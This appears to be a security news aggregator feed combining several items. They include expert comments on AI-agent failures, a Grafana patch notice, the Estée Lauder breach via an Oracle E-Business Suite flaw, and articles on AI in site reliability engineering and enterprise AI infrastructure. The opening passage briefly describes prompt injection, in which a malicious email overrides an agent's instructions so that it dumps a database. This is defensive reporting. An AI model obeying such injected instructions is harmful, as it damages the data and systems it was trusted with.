<p class="wp-block-paragraph">The survey’s results make sense to <a href="https://www.linkedin.com/in/brinkleyjoseph/">Joe Brinkley</a>, director of offensive security research and community at pentest firm Cobalt. The high confidence in detecting malfunctions is compliance paperwork, whereas the minority of respondents who can detect problems quickly is the reality on the ground, he says.</p>



<p class="wp-block-paragraph">“Tracing agent impact fast is brutal,” Brinkley says. “These systems do not run on fixed code paths. They use nondeterministic reasoning across a web of different APIs. Traditional logs only catch isolated events. They completely miss the full execution chain.”</p>



<p class="wp-block-paragraph">By the time an anomaly alert hits, an agent has already executed multiple downstream actions, he adds.</p>



<p class="wp-block-paragraph">In some cases, agent malfunctions are related to data flow vulnerabilities, such as when a prompt injection from an untrusted input such as a malicious email overwrites the system instructions, he says.</p>



<p class="wp-block-paragraph">“We need to be clear about the actual technology; the AI is not waking up angry,” Brinkley says. “The agent suddenly thinks its official job is to dump your database. It spends tokens as fast as possible to do that.”</p>



<p class="wp-block-paragraph">Agents are also vulnerable to loop failures, when they hit API errors and try to self-correct, he adds.</p>



<p class="wp-block-paragraph">“It hits that same broken endpoint 10,000 times in two minutes,” he says. “It drains your budget and causes a self-inflicted denial of service. It is an automated wrecking ball moving faster than your monitoring can log it.”</p>



<p class="wp-block-paragraph">Brinkley recommends that IT leaders put “hard kill” switches at the API layer to stop agents going out of scope.</p>



<p class="wp-block-paragraph">“You can stop it, but soft guardrails are useless,” he says. “Do not try to patch the prompt or filter the text. You have to treat the agent like a compromised user account. Pull the OAuth tokens and kill the access immediately.”</p>
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<title><![CDATA[What Are The Best Practices For Ensuring AI Privacy?]]></title>
<description><![CDATA[Discover key best practices for ensuring AI privacy when adopting these tools, including data masking, monitoring and governance.]]></description>
<link>https://tsecurity.de/de/3683325/it-security-nachrichten/what-are-the-best-practices-for-ensuring-ai-privacy/</link>
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<pubDate>Tue, 21 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Discover key best practices for ensuring AI privacy when adopting these tools, including data masking, monitoring and governance.]]></content:encoded>
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<title><![CDATA[Sicherheitspatch Grafana: Angreifer können sensible Daten abgreifen]]></title>
<description><![CDATA[Das Open-Source-Visualisierungs- und Monitoring-Tool Grafana ist verwundbar. Nun haben die Entwickler eine kritische Sicherheitslücke geschlossen.]]></description>
<link>https://tsecurity.de/de/3683264/it-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683264/it-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/</guid>
<pubDate>Tue, 21 Jul 2026 11:49:58 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Open-Source-Visualisierungs- und Monitoring-Tool Grafana ist verwundbar. Nun haben die Entwickler eine kritische Sicherheitslücke geschlossen.]]></content:encoded>
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<title><![CDATA[Sicherheitspatch Grafana: Angreifer können sensible Daten abgreifen]]></title>
<description><![CDATA[Das Open-Source-Visualisierungs- und Monitoring-Tool Grafana ist verwundbar. Nun haben die Entwickler eine kritische Sicherheitslücke geschlossen.]]></description>
<link>https://tsecurity.de/de/3683203/it-security-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683203/it-security-nachrichten/sicherheitspatch-grafana-angreifer-koennen-sensible-daten-abgreifen/</guid>
<pubDate>Tue, 21 Jul 2026 11:39:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Open-Source-Visualisierungs- und Monitoring-Tool Grafana ist verwundbar. Nun haben die Entwickler eine kritische Sicherheitslücke geschlossen.]]></content:encoded>
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<title><![CDATA[Estée Lauder Confirms Cyberattack Affecting Personal Information]]></title>
<description><![CDATA[The Estée Lauder data breach has prompted the global cosmetics company to notify affected individuals after hackers exploited a vulnerability in Oracle E-Business Suite, a platform used for human resources (HR) operations.  

The Estée Lauder cyberattack stemmed from unauthorized access that oc...]]></description>
<link>https://tsecurity.de/de/3683174/it-security-nachrichten/este-lauder-confirms-cyberattack-affecting-personal-information/</link>
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<pubDate>Tue, 21 Jul 2026 11:22:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1255" height="760" src="https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Estée Lauder data breach" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp 1255w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1024x620.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-768x465.webp 768w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-600x363.webp 600w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-750x454.webp 750w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1140x690.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach.webp 1255w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-300x182.webp 300w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1024x620.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-768x465.webp 768w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-600x363.webp 600w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-150x91.webp 150w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-750x454.webp 750w, https://thecyberexpress.com/wp-content/uploads/Estee-Lauder-data-breach-1140x690.webp 1140w" sizes="(max-width: 1255px) 100vw, 1255px" title="Estée Lauder Confirms Cyberattack Affecting Personal Information 1"></p><span data-contrast="auto">The Estée Lauder data breach has prompted the global cosmetics company to notify affected individuals after hackers exploited a vulnerability in Oracle E-Business Suite, a platform used for human resources (HR) operations. </span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The Estée Lauder cyberattack stemmed from unauthorized access that occurred on or around August 9, 2025, though the company said it identified the incident last month and confirmed the scope of the breach on June 19, 2026.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Estée Lauder Data Breach Exposed Sensitive Personal Information</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">According to the <a href="https://oag.ca.gov/system/files/ELC%20-%20U.S.%20Individual%20Notification%20Letter.pdf" target="_blank" rel="nofollow noopener">company's notification letter</a>, the attackers gained access to the Oracle E-Business Suite system and obtained personal information belonging to certain individuals.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">We became aware of a cybersecurity issue involving a <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29047">vulnerability</a> in the Oracle E-Business Suite system which is used by the Estee Lauder Companies for HR management purposes," the notice states.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">It further adds: "On June 19, 2026, we determined through our investigation that, on or around August 9, 2025, an unauthorized third party gained access to the Oracle E-Business Suite system and obtained personal information of certain individuals."</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The exposed <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29050">data</a> in the incident includes full names, postal addresses, email addresses, dates of birth, Social Security numbers (SSNs), passport numbers, financial account information, including bank account numbers, health information, and employment records such as payroll and performance reports.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Oracle Vulnerability Tied to Estée Lauder Cyberattack</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Although Estée Lauder did not identify the specific vulnerability used in the attack, the timeline aligns with the widespread exploitation of the Oracle E-Business Suite flaw <a href="https://thecyberexpress.com/oracle-ebs-critical-flaw-cve-2025-61882/" target="_blank" rel="noopener">CVE-2025-61882</a>.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">In October 2025, researchers from Google warned that the <a href="https://thecyberexpress.com/threat-actors/clop-ransomware-group/" target="_blank" rel="noopener">Clop ransomware group</a> had exploited the vulnerability as a zero-day to steal data. The flaw affected Oracle EBS versions 12.2.3 through 12.2.14, allowing attackers to bypass authentication and remotely execute code through the BI Publisher Integration component. Successful exploitation could provide access to sensitive HR and business information.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Oracle released <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29052">security</a> patches for CVE-2025-61882 on October 4, 2025. Soon after, <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-cybersecurity/" target="_blank" rel="noopener" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29051">cybersecurity</a> company CrowdStrike confirmed that Clop had been exploiting the vulnerability since early August 2025.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Company Offers Identity Monitoring</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Estée Lauder, headquartered in New York, generates annual revenue of $14.3 billion, employs around 57,000 people, and operates retail stores and online businesses worldwide, making it the world's second-largest cosmetics company.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Following the Estée Lauder data breach, the company is urging recipients of its notification letter to monitor for signs of identity theft and <a class="wpil_keyword_link" href="https://cyble.com/cybercrime/fraud/" target="_blank" rel="noopener" title="fraud" data-wpil-keyword-link="linked" data-wpil-monitor-id="29048">fraud</a>. It is also providing 24 months of complimentary identity monitoring services through Kroll.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The Estée Lauder <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-a-cyber-attack/" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29049">cyberattack</a> is part of a broader campaign that affected several high-profile organizations, including Harvard, the University of Pennsylvania, Dartmouth, the University of Phoenix, The Washington Post, Logitech, GlobalLogic, Cox Enterprises, and American Airlines subsidiary Envoy Air.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">This is not the first time the company has been impacted by Clop. In 2023, Estée Lauder was also <a href="https://thecyberexpress.com/estee-lauder-cyber-attack-alphv-ransomware/" target="_blank" rel="noopener">compromised after the ransomware group</a> exploited a separate zero-day vulnerability in the MOVEit Transfer platform, one of the company's internal software tools.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
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<title><![CDATA[How AI impacts site reliability engineering]]></title>
<description><![CDATA[Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robus...]]></description>
<link>https://tsecurity.de/de/3683121/ai-nachrichten/how-ai-impacts-site-reliability-engineering/</link>
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<pubDate>Tue, 21 Jul 2026 11:05:12 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Site reliability engineers (SREs) have the tough assignment of resolving thorny performance and reliability issues. But their primary mission is to provide devops teams with operational insights and to suggest implementation improvements on business system performance, security, and overall robustness.</p>



<p class="wp-block-paragraph">Google introduced its <a href="https://sre.google/sre-book/part-I-introduction/">SRE playbook</a> in 2003, but it took some time for the role’s definition, tools, and techniques to become mainstream. Startups were the first to adopt observability for cloud-native applications and create dedicated SRE positions. As tools matured and SRE responsibilities became more clearly defined, larger enterprises assigned SREs to work as a bridge between devops and IT ops teams to improve resilience across a wider range of applications, APIs, and <a href="https://www.infoworld.com/article/3487711/the-definitive-guide-to-data-pipelines.html">data pipelines</a>.</p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/3689881/career-paths-for-devops-engineers-and-sres.html">SRE is a career path</a> for multidisciplinary engineers with strong investigative instincts, sharp data analytics skills, and the temperament to perform under pressure. It has become a critical responsibility as tech became mission-critical for enterprises, and it is <a href="https://drive.starcio.com/2025/02/emerging-genai-roles-hr-tech-security/">a growing role in the genAI era</a> as more businesses <a href="https://drive.starcio.com/2025/10/ai-agents-definitive-guide-saas-security-titans/">deploy AI agents</a>.</p>



<p class="wp-block-paragraph">But the critical need for resiliency and greater technological complexity brings new challenges for SREs. According to the <a href="https://neubird.ai/resources/state-of-production-reliability-and-ai-adoption/">2026 State of Production Reliability and AI Adoption report</a>, 44% of respondents experienced an outage linked to ignored or suppressed alerts in the past year, and 35% report their engineers occasionally ignore or dismiss alerts due to alert fatigue. More than 70% of alerts received are not actionable, according to 57% of organizations.</p>



<p class="wp-block-paragraph">So, is AI making the SRE’s role easier and helping businesses run more reliable technology operations? On the other hand, AI is also driving complexity, as companies deploy genAI tools and AI agents across more business functions and seek to automate more decision-making across operations.</p>



<h2 class="wp-block-heading">AIops and agentic ops aid SREs</h2>



<p class="wp-block-paragraph">Over the past decade, SRE responsibilities have become somewhat easier through improvements in <a href="https://www.infoworld.com/article/2263821/5-devops-practices-to-improve-application-reliability.html">monitoring platforms</a>, <a href="https://www.infoworld.com/article/3686056/best-practices-for-devops-observability.html">observability practices</a>, <a href="https://www.infoworld.com/article/2261769/what-is-the-ai-in-aiops.html">tools for centralizing operational data</a>, and <a href="https://drive.starcio.com/2022/01/aiops-cio/">AI applied in IT operations</a> (AIops). But during the heat of resolving an outage or performance issue, it’s not easy to correctly identify what system triggered the issue versus other downstream systems impacted by it.</p>



<p class="wp-block-paragraph">According to the <a href="https://komodor.com/resources/komodor-2025-enterprise-kubernetes-report/">Komodore 2025 Enterprise Kubernetes Report</a>, 79% of production incidents originate from recent system changes, including deployments and changes to compute environments. But the other 21% of incidents stem from issues outside of the business’s control, including network failures, third-party changes, and cloud provider failures.</p>



<p class="wp-block-paragraph">“SREs using AI capabilities succeed or fail in the moment an incident unfolds, when engineers are deciding what to investigate next,” says Itiel Shwartz, CTO at <a href="https://komodor.com/">Komodor</a>. “If the system streamlines root cause detection, connects signals to recent changes, and explains its reasoning in a way engineers recognize, it earns trust. If it adds uncertainty or demands extra validation, it gets sidelined, regardless of how bespoke the model behind it may be. What’s less obvious is what it takes to make AI for SREs work in production, and how different that reality is from prototypes, demos, or early internal builds.”</p>



<p class="wp-block-paragraph"><a href="https://drive.starcio.com/2022/05/aiops-ml-multicloud/">AIops</a> is not a new capability, especially in using machine learning to correlate logs, metrics, and traces across monitoring and alerting systems. IT service management and SREs have been using AIops to <a href="https://drive.starcio.com/2021/11/p1-incidents-long-resolution-times/">reduce the mean time to resolve incidents</a> and to perform accurate <a href="https://drive.starcio.com/2021/12/kpi-agile-devops-itops/">root cause analysis</a> (RCA) efficiently. <a href="https://www.infoworld.com/article/4100507/5-key-agenticops-practices-to-start-building-now.html">Agentic ops</a> is the next wave of genAI operational capabilities, including tools for monitoring AI agents, managing their access rights, and detecting AI model accuracy drift.</p>



<p class="wp-block-paragraph"> “AI is useful during major incidents because it can pull together a lot of context into a few clear sentences, which is exactly what an SRE needs in the moment,” suggests Shani Shoham, chief revenue officer at <a href="https://openobserve.ai/">OpenObserve</a>. “The complexity of architecture and the different tooling make it easier for AI than for a human, but autonomous resolution is still a way off.”</p>



<h2 class="wp-block-heading">AI’s impact on people and burnout</h2>



<p class="wp-block-paragraph">The business pressure to keep systems up, secure, and performing well is a 24/7 stressful responsibility. According to <a href="https://www.catchpoint.com/learn/sre-report-2025">The SRE Report 2025</a> from Catchpoint, 36% of SREs often or always experience elevated stress during an incident, and 28% said the stress persists even after the incident is resolved. AI capabilities may prove to be a game-changer in helping SREs avoid burnout and reduce stress.</p>



<p class="wp-block-paragraph">“AI can improve RCA by taking in a much larger incident context than any engineer can hold at 3am, reasoning across traces, logs, metrics, deploys, config changes, alerts, ownership, and recent production behavior,” says Noam Levy, founding engineer and field CTO at <a href="https://www.groundcover.com/">Groundcover</a>. “Beyond attempting a full RCA, its immediate value is distilling the signals that actually matter, reconstructing a clear timeline of cause and effect, and helping engineers separate correlation from likely causality. Once a fix is deployed, agents can also verify remediation by comparing pre- and post-fix behavior, but this depends on broad access to rich, correlated production signals and a cost model that does not discourage adoption or experimentation.”</p>



<p class="wp-block-paragraph">Not only are incidents resolved faster and with less stress, but AI can also free up SRE time to focus on proactive work and create a career path for junior developers into SRE roles. Quais Taraki, CTO at <a href="https://www.enterprisedb.com/">EDB Postgres AI</a>, adds, “AI reduces toil by automating repetitive tasks while accelerating incident resolution through copilots that correlate signals across distributed systems, allowing SREs to focus more on resilience strategies like chaos engineering and failure analysis.”</p>



<p class="wp-block-paragraph">AI can have long-lasting operational impacts, especially for organizations looking to deploy more mission-critical technology and AI capabilities. Two longer-term benefits of AI for SREs are reducing the number of bridge calls needed for incident response and the number of engineers required in “<a href="https://drive.starcio.com/2021/04/it-digital-operations-aiops/">war rooms</a>” to coordinate root cause analyses.</p>



<p class="wp-block-paragraph">“When something goes wrong, AI that guides SREs can do the full analysis, get to the root cause, and perform the remediation,” says Spiros Xanthos, founder and CEO of <a href="https://resolve.ai/">Resolve AI</a>. “AI also helps avoid many escalations, and when escalations are needed, it targets the right people from the network, infrastructure, and the application teams. AI for SREs centralizes operational intelligence, exposes tribal knowledge, and can guide more junior developers.” </p>



<h2 class="wp-block-heading">AI agent reliability</h2>



<p class="wp-block-paragraph">While AI capabilities have been a net positive in helping SREs improve system reliability, the growth of <a href="https://www.infoworld.com/article/4032989/a-developers-guide-to-code-generation.html">AI code generators</a>, <a href="https://www.infoworld.com/article/4058076/vibe-coding-and-the-future-of-software-development.html">vibe coding</a>, and <a href="https://www.infoworld.com/article/4166817/vibe-coding-or-spec-driven-development.html">spec-driven development</a> is adding to their workloads. <a href="https://www.braiviq.com/blog/vibe-coding-ai-development-2026-cursor-copilot-claude-code">According to one study</a>, 41% of all global code is now AI-generated, and <a href="https://www.hostinger.com/blog/vibe-coding-statistics">Gartner predicts</a> that 40% of new enterprise production software will be created using vibe coding techniques by 2028.</p>



<p class="wp-block-paragraph">But coding velocity is creating new issues for SREs as AI pull requests have 1.4 times more critical issues and 1.7 times more major issues, <a href="https://www.coderabbit.ai/blog/state-of-ai-vs-human-code-generation-report">according to CodeRabbit</a>. “AI-assisted development has created an unprecedented velocity of code reaching production, expanding surface area, edge cases, and failure rates faster than traditional SRE practices can absorb,” says Vinod Jayaraman, cofounder and CTO at <a href="https://neubird.ai/">NeuBird AI</a>. “The speed of shipping has far outpaced the speed of understanding what breaks in production. To close this loop, SREs need enterprise agents that can capture precise diagnostic context, including correlated traces, service dependencies, and anomaly timelines, and structure it as actionable input for the engineers and AI coding tools responsible for the fix.”</p>



<p class="wp-block-paragraph">The growing number of AI agents deployed to production creates new challenges. AI agents are not just code; they have multiple failure points. They are built using language models, connect to proprietary sources for context, and integrate with <a href="https://www.infoworld.com/article/4124612/5-requirements-for-using-mcp-servers-to-connect-ai-agents.html">Model Context Protocol servers</a> to support more complex workflows. Changes are ongoing and not deployment events, so the SRE’s job of identifying the source of performance and accuracy drifts isn’t trivial. </p>



<p class="wp-block-paragraph">“Traditional SRE was built for systems that fail in reproducible ways, but agents fail differently and drift when a model provider pushes an update, and behavior shifts silently with no baseline for comparison,” says Mohammed Aboul-Magd, vice president of product at <a href="https://www.sandboxaq.com/">SandboxAQ</a>. “Most organizations can’t even answer the basics: how many agents are running, what they have access to, and whether they’re still doing what they were built to do.”</p>



<p class="wp-block-paragraph">“Every time a senior engineer leaves, they take years of learned failure patterns with them, and the next outage starts from square one,” adds Ronak Desai, cofounder and CEO at <a href="https://ciroos.ai/">Ciroos</a>. “Using AI for compounding operational memory changes that, and every incident your system resolves, the AI learns it.”</p>



<p class="wp-block-paragraph">SREs should take a leadership role in emerging best practices, including defining their standards for AI agent <a href="https://www.infoworld.com/article/4061123/how-to-write-nonfunctional-requirements-for-ai-agents.html">non-functional acceptance criteria</a>, <a href="https://www.infoworld.com/article/4140832/7-safeguards-for-observable-ai-agents.html">observability practices</a>, and <a href="https://www.infoworld.com/article/4105884/10-essential-release-criteria-for-launching-ai-agents.html">release-readiness criteria</a>. SREs should update their <a href="https://www.infoworld.com/article/3684268/tools-to-manage-slos-and-error-budgets.html">service-level objectives</a> (SLOs) and define error budgets for AI agents in production.</p>



<p class="wp-block-paragraph">Ryan Downing, vice president and CIO of enterprise business solutions at <a href="https://www.principal.com/">Principal Financial Group</a>, says, “Standard SLOs and error budgets give teams the guardrails, and AI helps interpret the telemetry against those targets, reducing noise so engineers can get to the real issue faster and automate parts of remediation before customers are impacted.”</p>



<h2 class="wp-block-heading">AI raises the SRE’s business impact</h2>



<p class="wp-block-paragraph">The more dramatic shift in site reliability engineering is an evolution of its business scope. IT leaders focus on uptime, performance, and issue resolution, as well as understanding their impacts. Business leaders will look to IT and SREs to identify, determine root cause, and remediate a broader class of issues, including <a href="https://drive.starcio.com/2025/07/rogue-ai-agents-cios-govern-agentic-ecosystem/">rogue AI agents</a> and the impacts of <a href="https://www.infoworld.com/article/4040513/how-to-avoid-the-risks-of-rapidly-deploying-ai-agents.html">rapidly deploying new agentic capabilities</a>. </p>



<p class="wp-block-paragraph">“AI agents are handing SREs categories of problems they’ve never had to solve before, specifically failures defined in business terms, not technical ones,” says Blake Sherwood, distinguished technologist for AI and platform strategy at <a href="https://www.smarsh.com/">Smarsh</a>. “Traditional reliability engineering is built around latency, errors, and crashes, but agents now fail due to skipped compliance steps or outcomes that looked fine technically but were wrong contextually. Most SRE teams aren’t wired for that yet.”</p>



<p class="wp-block-paragraph">The question is whether SREs with AI-augmented tools can keep up with the velocity, complexity, and business urgency of deploying new AI business capabilities.</p>
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<title><![CDATA[The next AI bottleneck is not the model. It’s the infrastructure behind it]]></title>
<description><![CDATA[Every enterprise AI conversation seems to begin with the same question: Which model should we use?



I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better r...]]></description>
<link>https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683109/it-nachrichten/the-next-ai-bottleneck-is-not-the-model-its-the-infrastructure-behind-it/</guid>
<pubDate>Tue, 21 Jul 2026 11:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Every enterprise AI conversation seems to begin with the same question: Which model should we use?</p>



<p class="wp-block-paragraph">I understand why. Models are visible. They have names, benchmarks, release notes, pricing pages and impressive demos. They are easy to compare in a leadership meeting. One model promises better reasoning. Another offers a larger context window. Another appears faster, cheaper or more specialized.</p>



<p class="wp-block-paragraph">But after years of working around enterprise platforms, integration layers, cloud migration, middleware, production operations and mission-critical systems, I see the AI conversation differently.</p>



<p class="wp-block-paragraph">The model matters. But it is not where most enterprises will struggle next.</p>



<p class="wp-block-paragraph">The next AI bottleneck is the infrastructure behind the model.</p>



<p class="wp-block-paragraph">I do not mean only GPUs, cloud capacity or data storage. I mean the full enterprise operating layer that allows AI to work safely in the real world: data pipelines, identity, APIs, messaging, observability, security controls, deployment automation, cost governance, auditability, support ownership and recovery design.</p>



<p class="wp-block-paragraph">That layer is what determines whether AI remains an exciting experiment or becomes a trusted business capability.</p>



<h2 class="wp-block-heading">Pilots hide the hard part</h2>



<p class="wp-block-paragraph">Most organizations can build an <a href="https://www.cio.com/article/4159287/most-companies-are-stuck-on-ai-chat.html">impressive AI pilot</a>. A small team can connect a model to a dataset, create a workflow and show a use case that works well in a controlled setting.</p>



<p class="wp-block-paragraph">The harder part starts when that pilot moves into a <a href="https://www.cio.com/article/4161509/ai-hype-to-ai-value-escaping-the-activity-trap.html">real production process</a>.</p>



<p class="wp-block-paragraph">That is when practical questions show up. Who owns the data quality? What systems can the AI access? How do we trace which prompt, policy or retrieval flow produced a specific answer? What happens when an API slows down, a queue backs up or a downstream system is unavailable?</p>



<p class="wp-block-paragraph">To me, these are not model problems. They are infrastructure problems.</p>



<p class="wp-block-paragraph">This is where many enterprises are now headed. The first phase of AI was experimentation. The next phase is operationalization, and that is where the real gap becomes clear.</p>



<p class="wp-block-paragraph"><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/seizing-the-agentic-ai-advantage">McKinsey</a> has made a similar point in its work on agentic AI, noting that the next phase of value depends less on isolated tools and more on redesigning workflows, operating models and enterprise execution around agents.</p>



<p class="wp-block-paragraph">AI pilots can survive on enthusiasm. Production AI requires architecture.</p>



<h2 class="wp-block-heading">AI is becoming an integration problem</h2>



<p class="wp-block-paragraph">The more I look at enterprise AI, the more it feels like an integration challenge.</p>



<p class="wp-block-paragraph">In large organizations, I have seen how messaging platforms, integration gateways, deployment pipelines, monitoring tools and cloud infrastructure can decide whether a digital capability succeeds or fails. AI will be no different. Even the strongest model will struggle if the data, middleware, identity layer and operational controls around it are weak.</p>



<p class="wp-block-paragraph">AI does not work in isolation. It needs context from systems of record, clean data from different business areas, secure access to APIs, event streams, workflows, knowledge repositories, monitoring tools and legacy systems.</p>



<p class="wp-block-paragraph">That is why the CIO question is changing.</p>



<p class="wp-block-paragraph">It is no longer just, “Which AI tool should we buy?”</p>



<p class="wp-block-paragraph">It is becoming, “Can we safely operationalize intelligence across the business?”</p>



<p class="wp-block-paragraph">This is where agentic AI matters. Autonomous AI only creates real value when the architecture around it can make its actions safe, traceable and useful.</p>



<p class="wp-block-paragraph">A model can generate an answer. Infrastructure determines whether that answer is secure, timely, explainable, governed and connected to the right workflow.</p>



<p class="wp-block-paragraph">For example, an AI assistant that summarizes customer or order information may look like a model use case. But underneath, it depends on access control, fresh data, reliable APIs, logging, encryption, monitoring and policy enforcement.</p>



<p class="wp-block-paragraph">If the answer is wrong, people may blame the model. But the real failure may have started with stale data, weak integration, poor access design, missing observability or an unreliable downstream system.</p>



<p class="wp-block-paragraph">That is why CIOs should not judge AI only by model capability. The enterprise system around the model matters just as much.</p>



<h2 class="wp-block-heading">Latency will become a trust issue</h2>



<p class="wp-block-paragraph">In traditional technology operations, latency is often treated as a performance metric. In AI-enabled workflows, latency becomes a trust issue.</p>



<p class="wp-block-paragraph">When an employee asks an AI assistant for help and the response takes too long, the employee stops using it. When a customer-facing workflow becomes slow, the customer abandons it. When an AI agent waits on multiple backend calls, the entire business process feels unreliable.</p>



<p class="wp-block-paragraph">This becomes even more important as organizations move from simple chat interfaces to agentic workflows. A single AI-driven action may include identity checks, context retrieval, policy validation, model reasoning, API calls, business-rule execution, logging and human approval.</p>



<p class="wp-block-paragraph">Each step adds latency. Each dependency adds a possible failure point.</p>



<p class="wp-block-paragraph">A model may be fast in a benchmark but slow inside an enterprise process. That difference matters.</p>



<p class="wp-block-paragraph">This is where platform engineering becomes essential. Enterprises need reusable patterns for AI workloads: approved connectors, secure retrieval methods, queue-based decoupling, caching strategies, deployment pipelines, monitoring dashboards and standard rollback procedures.</p>



<p class="wp-block-paragraph">Without those patterns, every AI initiative becomes a custom build. Custom builds may work for pilots, but they do not scale across a large enterprise.</p>



<h2 class="wp-block-heading">Observability has to expand</h2>



<p class="wp-block-paragraph">Traditional monitoring tells us whether infrastructure is healthy. Is the server up? Is CPU high? Is memory exhausted? Is the application returning errors?</p>



<p class="wp-block-paragraph">AI needs that, but it also needs more.</p>



<p class="wp-block-paragraph">We need to know what data was retrieved, which model was used, which prompt version was active, which user initiated the request, which policy was applied, how long each step took and whether the output passed validation.</p>



<p class="wp-block-paragraph">We also need to detect new forms of risk: unusual usage patterns, repeated failed tool calls, unexpected cost spikes, sensitive data exposure, weak retrieval results or an AI workflow attempting actions outside its intended boundary.</p>



<p class="wp-block-paragraph">In production AI, observability is not only about uptime. It is about confidence.</p>



<p class="wp-block-paragraph">If a business leader, auditor, regulator or security team asks why an AI system made a recommendation, the answer cannot be, “The model said so.” The enterprise needs traceability. It needs evidence. It needs operational context that engineers, risk teams and business owners can understand.</p>



<p class="wp-block-paragraph">This is one of the biggest gaps I see in AI strategy. Many organizations are investing in models and use cases, but not enough in the control plane required to manage them.</p>



<h2 class="wp-block-heading">Data readiness is still underestimated</h2>



<p class="wp-block-paragraph">AI has exposed an uncomfortable truth: many enterprises are not as data ready as they think.</p>



<p class="wp-block-paragraph">Data is often duplicated across platforms, described differently by each team, governed inconsistently and refreshed on different schedules. Access rules may be clear in one system but unclear in another. Even basic business definitions can change from department to department.</p>



<p class="wp-block-paragraph">AI does not fix that automatically. In many cases, it makes the problem more visible.</p>



<p class="wp-block-paragraph">A bad report may be questioned. A bad AI answer may sound confident enough to be trusted.</p>



<p class="wp-block-paragraph">That is a real risk.</p>



<p class="wp-block-paragraph">Being data-ready for AI is not just about connecting a vector database or indexing documents. It requires clear ownership, lineage, classification, quality checks, retention rules, access boundaries and a shared understanding of which data should be used for which purpose.</p>



<p class="wp-block-paragraph">The same principle applies to resilient cloud-native design. In my IEEE TechRxiv paper, “<a href="https://www.techrxiv.org/doi/full/10.36227/techrxiv.175433366.65304469/v1">Enabling Fault-Tolerant Multicast in Cloud-Native Architectures</a>” I explored how reliability, observability and fault tolerance become foundational requirements when critical workloads stretch across hybrid and multi-cloud environments.</p>



